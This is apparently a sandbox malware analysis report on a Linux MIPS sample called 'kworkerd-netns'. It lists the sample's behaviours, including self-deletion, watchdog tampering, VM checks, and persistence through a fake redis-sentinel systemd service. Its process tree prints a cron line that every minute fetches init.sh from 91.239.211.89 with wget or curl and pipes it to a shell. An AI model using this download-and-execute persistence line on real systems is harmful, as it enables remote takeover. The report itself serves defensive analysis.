Analysis

  • max time kernel
    37s
  • max time network
    39s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/06/2026, 17:43

General

  • Target
    kworkerd-netns
  • Size 128KB
  • Sample260625-wawdeady21
  • SHA256 1010e0217b8d988721cfb0097cec8a6047edb9fe602e58124cef9e30c20d85df
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kworkerd-netns
    /tmp/kworkerd-netns
    1⤵
    • Deletes itself
    • Modifies Watchdog functionality
    • Creates/modifies Cron job
    • Enumerates active TCP sockets
    • Modifies systemd
    • Reads MAC address of network interface
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:706
    • /bin/sh
      sh -c "/bin/systemctl daemon-reload 2>/dev/null"
      2⤵
        PID:717
        • /bin/systemctl
          /bin/systemctl daemon-reload
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:719
      • /bin/sh
        sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
        2⤵
          PID:749
          • /bin/systemctl
            /bin/systemctl enable --now redis-sentinel.service
            3⤵
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:750
        • /bin/sh
          sh -c "/usr/bin/crontab -l 2>/dev/null"
          2⤵
            PID:764
            • /usr/bin/crontab
              /usr/bin/crontab -l
              3⤵
                PID:765
            • /bin/sh
              sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 711 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
              2⤵
                PID:766
                • /usr/bin/crontab
                  /usr/bin/crontab -
                  3⤵
                  • Creates/modifies Cron job
                  • Reads runtime system information
                  PID:767

            Network

                  MITRE ATT&CK Enterprise v16

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                  redis-sentinel.service

                  • Path /etc/systemd/system/redis-sentinel.service
                  • Size 344B
                  • SHA256 714325ee5f38eb2cdc6252f19a9eb1a2e664246ed95c300df326050b18319e2f
                  • MD5 SHA1 SHA512 TLSH

                  .redis-server.pid

                  • Path /tmp/.redis-server.pid
                  • Size 3B
                  • SHA256 2499d690642faa4da2a67b078236d1c031217f3c31cf2da2142c8e84e3d617f1
                  • MD5 SHA1 SHA512

                  root

                  • Path /var/spool/cron/crontabs/root
                  • Size 167B
                  • SHA256 7fabdcdd535a7911bdc79b0f8e1ec1675a584a70ab4a3aecc98472f4d8a03217
                  • MD5 SHA1 SHA512 TLSH

                  tmp.hKiYoF

                  • Path /var/spool/cron/crontabs/tmp.hKiYoF
                  • Size 342B
                  • SHA256 897d48a0b4e9cea4a8af73d8dfd9fd5685106d71340a4f87a068b90b8a348770
                  • MD5 SHA1 SHA512 TLSH